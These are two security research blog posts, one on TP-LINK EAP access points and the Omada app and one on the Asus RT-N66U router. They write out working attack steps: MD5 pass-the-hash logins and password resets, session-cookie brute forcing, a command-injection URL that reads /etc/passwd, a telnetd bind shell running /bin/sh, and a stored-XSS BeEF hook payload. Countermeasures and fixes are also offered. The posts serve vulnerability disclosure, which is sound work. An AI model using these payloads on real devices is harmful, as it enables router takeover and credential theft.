TP-LINK EAP and OMADA mobile app authentication issues

Wednesday, June 05, 2019

Summary (TL;DR)
In short this article shows how to gain access to a TP-LINK EAP Access Point if the credentials are stored on the mobile application, Omada, and it re-authenticates with the router. The best part is, it is possible to reset the password on the device without ever knowing the password. Just by using the captured MD5 hash. It is also possible to use the session cookie used by the mobile application to login using the web. Weak session tokens also means that it is possible to figure out a session token used, under certain circumstances.

Introduction
I got hold of some TP-LINK EAP225 V1 and EAP110 V4 Access Points (AP) to play with. They are targeted at small businesses and provide reasonable functionality and connectivity.

The ecosystem is also supported by a mobile app with some information about the AP shown to the user. The application is called OMADA https://www.tp-link.com/en/omada/ and the username and password are stored locally. The Greek word for group is omada.

Intercepting the traffic using a proxy like Burp Suite Scanner or OWASP ZAP is not an issue since even though TLS is used by the OMADA app it is still possible to capture the traffic with no issues.

Tested versions of Router Firmware :

EAP225 1.4.0 onwards

EAP110 3.1.0 onwards

Password hash and login
If the mobile application doesn't have an active session it will authenticate with the router. At that point in time it is possible to intercept the username and password hash. TLS is not enforced or can easily be bypassed.

The password hash is currently a MD5 hash of the password set by the user. Due to the fact that only the password is used in the MD5 hashing function, it therefore stays static and is easy reuse. The same process is used on the mobile application and the website (desktop). The default password is admin, so we have 21232f297a57a5a743894a0e4a801fc3 (MD5) as the hash.

Fig. 1. Login POST captured


If the same password is used on multiple devices, it is possible to capture the hash from one authentication process and reuse the hash to login to any other device.

Fig. 2. POST URL decoded 
As mentioned before the web admin interface has javascript that implements the MD5 functionality.

Password reset (logged in)
Once you have logged in with the password hash (MD5), as described above, it is then possible to change the password. Therefore, we get to set the password to one we know.
Request (sample) :
POST /data/userAccount.json?_=
operation=write&curUserName=adm1n&newUserName=admin&curPassword= 21232f297a57a5a743894a0e4a801fc3&newPwd= 21232f297a57a5a743894a0e4a801fc3

Password hash and username retrieval (logged in)
I am not sure why this API feature is available, but if logged in or if you have a valid session it is possible to get the password hash and username. This can be used to reset the password or to login in the future (session hijacking not required any more).

Request (sample) :
GET /data/userAccount.json?operation=read
 or
POST /data/userAccount.json 
operation=read
Response :
Fig. 3. Example of username and password returned

Session hijacking via cookie stealing (from mobile application to website)
It is possible to copy the cookie from the mobile app (the one set) and use it to log into using the web interface without knowing the password or user name.

Cookie tokens have very poor entropy. I did an analysis using Burp Suite Pro Sequencer and it reported 0 bits of entropy.

Session brute force 

I used the following GET to test if the cookie was valid or not and I noticed the difference in the payload size.
GET /data/status.device.json?operation=read&_=
If the cookie is not valid it will offer to set a new one on any page. You can make a request and get the current session ID on offer. The one used will be less than that one. Brute force downwards. The tokens are not really random, but they sort of increment and probably based on time or an internal counter.

When it reboots the counter resets to zero and so the cookies that are given have only very low bits set. So an easy way to get a session would be to get the router to reboot and then get the app or user to login.

The cookies are 16 bytes long and look like they have a fixed prefix. The one I tested produced the following tokens:
c0a8000c00001100 or c0a8000c00001a00
This will provide an easy 4 character abcdef0123456789 would give 65,536 combinations to try. You could work smarter and reduce the search size by working to de-increment it from the current set cookie captured. It will be about timing it all in the end.

Another way to predict a token would be to flood the router with requests and notice when the user logged in. The token would be one that was not offered to you or at least you can narrow down the token pattern based on when the user logged in.

CSRF protection
There is none !

Proposed solutions for Login and the password hash: 

One: 
A solution that could be implemented by the router is a challenge response in the form of a composite password.

The router could send a variable seed that is used in a MD5 function.

password_challenge = MD5(CONCAT(password, seed))

password_challenge is a password challenge computed and sent to the router for authenticating
password is the users password
seed is the seed string sent to the client to utilise. This should be at least 64bits in length.
MD5 is the MD5 hashing function
CONCAT is a concatenating function that will join the password and seed

Two:

Similar to the above solution but instead of creating a composite password, the seed is used as a secret to a HMAC function but first it is processed as a MD5 hash.

password_challenge = HMAC_SHA256(MD5(password),MD5(seed))

password_challenge is a password challenge computed and sent to the router for authenticating
password is the users password
seed is the seed string sent to the client to utilise. This should be at least 64bits in length.
MD5 is the MD5 hashing function
HMAC_SHA256 = HMAC hashing function using SHA256

Ideally SHA256 should be used instead of MD5, but anything will be an improvement to the current fixed password hash.

Password Replay attacks 
The idea behind the proposed solutions is to provide a synchronised seed that the router has and uses as a way to authenticate. The router will have a variable seed and therefore password replay will not be possible unless the password is known or brute-forced.

Password resets will also not be possible if a seed is used when the password reset is carried out.

P.S: Always double check encryption solutions with an expert in Cryptography.

Device Forensics 
In my next post I will do some TP-LINK EAP forensics and what to expect when dumping the flash memory.

Asus RT-N66U Router Access Point has issues (Command Execution, stored XSS etc.)

Sunday, March 09, 2014


Update (2014/03/09): @Beef has merged my git contribution, links updated below.

Summary of issues:
  • Command execution
  • telnetd with ability to run scripts 
  • Stored XSS
  • Weak password has $1$
  • Enabling Telnet 'possibly' creates an unsalted password hash
Assumptions:
  • Router IP = 10.0.0.1
  • Main web page is the router's configuration portal, found at http://10.0.0.1
  • Firmware Versions tested: 3.0.0.4.374_979 and 3.0.0.4.374_4561
DISCLAIMER: READ AND EXECUTE ANY OF THIS AT YOUR OWN RISK. ONLY FOR EDUCATIONAL PURPOSES.

The Asus RT-N66U is a lovely looking router and a very functional one too (link to Asus site here).

Unfortunately a bit too functional it would seem. After reading John's (n0x00) tweet about the ability to output the shadow file I knew it was a command execution vulnerability. I checked my router and it had exactly the same interface. As we will find out later it is programmed slightly differently. His write up can be found here http://tghc.co/dsl-n66u-chapter-one/ .

Command Execution
So I set forth to have a play with the aforementioned issue. The problem is found on the Netstat page, found under Network tools. It includes the program and all the option flags. I have no idea why someone would think that would be a good idea. This is also possible because of CSRF, which also makes integrating it into @Beef really easy. N.B: When you visit the page it clears out the file on the server side.

The page's source code includes a lot of detail about how the page works. It has javascript code that replaces XU6J03M6 which is present in the file generated on the server when the command is executed. It also queries the http://10.0.0.1/cmdRet_check.htm for the netstat command it executes. Inspecting this file it contained code that included the file found in /tmp/syscmd.log . Therefore after the command is executed its results are stored in it. These are not cleared out.

With the use of Burp it was possible to see what queries were made. The one below includes the command to print /etc/passwd in the SystemCmd argument. The GET request shown below is different from that in the DSL-N66U.
http://10.0.0.1/apply.cgi?current_page=Main_Netstat_Content.asp&next_page=Main_Netstat_Content.asp&next_host=10.0.0.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=cat+/etc/passwd&firmver=&cmdMethod=netstat&NetOption=-a&targetip=&ExtOption=-r+state
As mentioned in John's post, I then found out that telnetd was installed and had a play with that. Apparently it has telnetd as part of BusyBox

BusyBox v1.17.4 (2013-10-03 06:38:54 CST) multi-call binary.
Usage: telnetd [OPTIONS]
Handle incoming telnet connections
Options:
        -l LOGIN        Exec LOGIN on connect
        -f ISSUE_FILE   Display ISSUE_FILE instead of /etc/issue
        -K              Close connection as soon as login exits
                        (normally wait until all programs close slave pty)
        -p PORT         Port to listen on
        -b ADDR[:PORT]  Address to bind to
        -F              Run in foreground
        -i              Inetd mode

Therefore the following command (telnetd+-p+5555+-l+/bin/sh) can be used to run a version of telnet listening on port 5555 and it will execute /bin/sh once you connect to it. No Auth needed, does not show on the main web page (where another instance of telnet can be started) and no netcat either. Resetting the router will clear this service. To kill the telnetd process:
telnet 10.0.0.1 5555
ps 
Find the telnetd processID (first number) and
kill -9 processID
It is possible to temporarily store files in /tmp/ these files will be deleted after a reboot though.

Netcat can also be downloaded from http://downloads.openwrt.org/kamikaze/7.09/packages/mipsel/ but the existence of telnetd with execute on connect means we don't need it.

XSS
Since the page http://10.0.0.1/cmdRet_check.htm and contents of /tmp/syscmd.log are not cleared unless a) a new command is set, b) the page Netstat page, from the main menu, is visited or c) the router is reset, therefore the contents are saved indefinitely.

So this means it is possible to have store XSS. This is achieved by using the command execution to echo some HTML and then have someone visit it.
echo+%27<script>alert(1)%3B</script>%27 
@Beef
You might think this is all very nice and simple and not much can be done with them. You are wrong. If we combine all two security issue with Beef we have a very good mechanism for extracting important details from the router and it is possible to have a semi-persistent entry point into the router.

As a result of the work done on this router I created 3 beef modules. I shall post the links here once I have uploaded them.

beef / modules / exploits / router / asus_rt_n66u_cmd_exec: https://github.com/beefproject/beef/tree/master/modules/exploits/router/asus_rt_n66u_cmd_exec

beef / modules / browser / hooked_domain / get_page_html_iframe
https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/get_page_html_iframe

beef / modules / browser / hooked_domain / remove_stuck_iframes
https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/remove_stuck_iframes

With the stored XSS it is possible to get a beef hook on the domain via an iframe redirect. Because of issue with iframes, I found it useful to have the ability to remove frames from nested iframes. (Inception galore)

Echo some html with a @Beef hook and the command we want to run all into /tmp/a and then output the contents of the file using cat for us to utilise and see the results.
echo+%27<html><body>%27+>+/tmp/a%3Becho+%27<script src="http://127.0.0.1:3000/hook.js"></script>%27+>>+/tmp/a%3B+ls+/+>>+/tmp/a+%3B+echo+%27</body></html>%27+>>+/tmp/a%3Bcat+/tmp/a

Digital Forensics
From a digital forensics point of view, the volatility of /tmp/ is a good demonstration of why evidence collectors should not reboot or shutdown routers. In the above case suspicious output could also be found in /tmp/syscmd.log but only if it is not reboot or the page is not visited.

Telnet creates a weak password (needs to be tested again)
I am under the impression that if telnet is enabled from the main web page (http://10.0.0.1) the password hash found in /etc/shadow is replaced with one that does not have a salt and which is just as weak. The original password hash is $1$ very weak as well.

Passwords and users
Unlike the DSL-N66U this model does not have any default users that can login besides the default admin account.

Countermeasures
Possible countermeasures could include:

  • Patch, when it comes out
  • Modify the page to not include netstat as a functionality (have not tested this)
  • Reboot router often, especially after friends visit, just saying!
  • Private browse to router's portal and then delete cache/history and close browser